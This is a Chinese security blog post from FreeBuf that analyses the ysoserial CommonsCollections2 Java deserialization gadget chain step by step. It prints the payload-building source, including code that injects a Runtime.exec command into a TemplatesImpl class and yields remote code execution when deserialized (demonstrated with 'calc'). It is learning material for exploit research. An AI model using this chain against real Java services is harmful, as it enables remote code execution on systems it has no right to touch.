freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

java反序列化学习-ysoserial-CommonsCollections2
2023-06-12 15:26:44
所属地 浙江省

CommonsCollections2

源码

针对org.apache.commons:commons-collections4:4.0

package ysoserial.payloads;
import java.util.PriorityQueue;
import java.util.Queue;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.apache.commons:commons-collections4:4.0" })
@Authors({ Authors.FROHOFF })
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
queue.add(1);
queue.add(1);
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections2.class, args);}
}

轻车熟路看getObject方法。

3.1、TemplatesImpl

final Object templates = Gadgets.createTemplatesImpl(command);

createTemplatesImpl最后会执行的代码:

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )throws Exception {
final T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +command.replace("\\", "\\\\").replace("\"", "\\\"") +"\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
clazz.writeFile("./testaa.class");
final byte[] classBytes = clazz.toBytecode();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes, ClassFiles.classAsBytes(Foo.class)});
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;}

相关参数如下:

image-20230612103515425image-20230612103515425

先从final T templates = tplClass.newInstance();创建了一个tplClass的实例

随后ClassPool pool = ClassPool.getDefault();利用javassist技术创建了一个类池。ClassPool.getDefault()方法返回默认的ClassPool类型的对象,该实例使用当前线程的上下文类加载器作为其父加载器,并包含了当前运行环境中所有可见的类路径和JAR文件。

使用pool.insertClassPathStubTransletPayloadcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet添加到类池中。

执行final CtClass clazz = pool.get(StubTransletPayload.class.getName());从类池里面将StubTransletPayload赋值给clazz变量,后门要修改他的字节码

image-20230612104420995image-20230612104420995

设置好需要执行的代码cmd,最后cmd的值为java.lang.Runtime.getRuntime().exec("calc");

利用clazz.makeClassInitializer().insertAfter(cmd);修改StubTransletPayload的字节码:

  1. 首先给用makeClassInitializerclazz创建一个类初始化器(类初始化器是一个特殊的静态代码块,它在类被加载时自动执行)
  2. 使用insertAfter方法的作用是将cmd插入到类初始化器的末尾

接下去的前三行代码分别为:

  1. 设置clazz的类名称
  2. 使用get命令从类池里面把abstTranslet赋值给变量superC
  3. superC也就是abstTranslet类,设置成clazz的父类

writeFile是我自己新增的,ysoserial中没有,作用是把clazz保存为文件testaa.class

image-20230612105018724image-20230612105018724

可以查看以下testaa.class的内容:

package ysoserial;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.Serializable;
public class Pwner262950924766100 extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
public Pwner262950924766100() {}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
static {
Object var1 = null;
Runtime.getRuntime().exec("calc");}
}

上面就是clazz的代码

下一步新建一个字节数组,使用toBytecodeclazz转换成字节码赋值给字节数组

image-20230612105623193image-20230612105623193image-20230612105723409image-20230612105723409

接下去设置templates的一些属性,templates是最开始tplClass实例化的对象,先看一下templates的代码,这时一个很长的类,这三个属性值在后面会被修改,最重要的还是_bytecodes

image-20230612110116267image-20230612110116267image-20230612110145753image-20230612110145753

接下去就是对templates的三个属性值进行赋值,其中_bytecodes被赋值为clazz的字节码,最后返回templates

image-20230612105822732image-20230612105822732

3.2、InvokerTransformer

final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);实例化了InvokerTransformer,进入它的构造方法,InvokerTransformer的构造函数接收三个参数:方法名称、参数类型、参数。

image-20230612111254960image-20230612111254960

InvokerTransformer在前几篇文章里面应该有提到,在这个类中存在一个transform方法,可以通过反射调用方法。

image-20230612134616310image-20230612134616310

3.3、PriorityQueue

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));创建了一个优先队列PriorityQueue,并指定了一个比较器TransformingComparator。new TransformingComparator(transformer)的构造方法如下,进行简单的赋值。

image-20230612111754234image-20230612111754234

但是在PriorityQueue的构造方法中,this.comparator的值被赋值为new TransformingComparator(transformer)

image-20230612113238221image-20230612113238221

往queue里面添加的两个值之后开始修改transformer的属性iMethodNameiMethodName被修改为newTransformer

image-20230612112109354image-20230612112109354

接着把queue的第一个元素修改成templates

image-20230612112143925image-20230612112143925

最后返回queue,到此getObject的代码结束,接下去就是常见的序列化

image-20230612112257253image-20230612112257253

总结

接下去从反序列化过程入手逆推利用过程,刚刚被序列化的是PriorityQueue类型的对象queue,会到PriorityQueue的代码,发现它重写了readObject,在它被反序列化时会执行这里面的代码

image-20230612112748927image-20230612112748927

接着会进入heapify--->siftDown--->siftDownUsingComparator,最后在siftDownUsingComparator调用comparator.compare

image-20230612114451118

在前面构造queue的时候,this.comparatornew TransformingComparator(transformer)

image-20230612114623348image-20230612114623348image-20230612114636891image-20230612114636891

所以调用了TransformingComparator.compare

image-20230612150551287

new TransformingComparator(transformer)传入的参数为InvokerTransformer类型的对象transformer,并且的值被赋值为this.transformer

image-20230612115024091image-20230612115024091

所以this.transformer.transform调用的为InvokerTransformertransform

image-20230612140236683image-20230612140236683

InvokerTransformer.transform中获得了TemplatesImpl

image-20230612140314229image-20230612140314229

由于iMethodName已经被修改为newTransformer,所以Method method = cls.getMethod(this.iMethodName, this.iParamTypes);获得到的是TemplatesImpl类的newTransformer方法

TemplatesImpl#newTransformer

public synchronized Transformer newTransformer()throws TransformerConfigurationException{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver); }
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);}
return transformer;
}

继续跟进getTransletInstance(),进入getTransletInstance之后会调用一个defineTransletClasses(),在其中存在把_class属性变成我们Java字节码的行为

image-20230612150157703image-20230612150157703

紧接着回到getTransletInstance继续执行并实例化我们的字节码成功rce。

image-20230612150313403image-20230612150313403image-20230612150726724image-20230612150726724
# java反序列化 # Java代码审计 # ysoserial
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录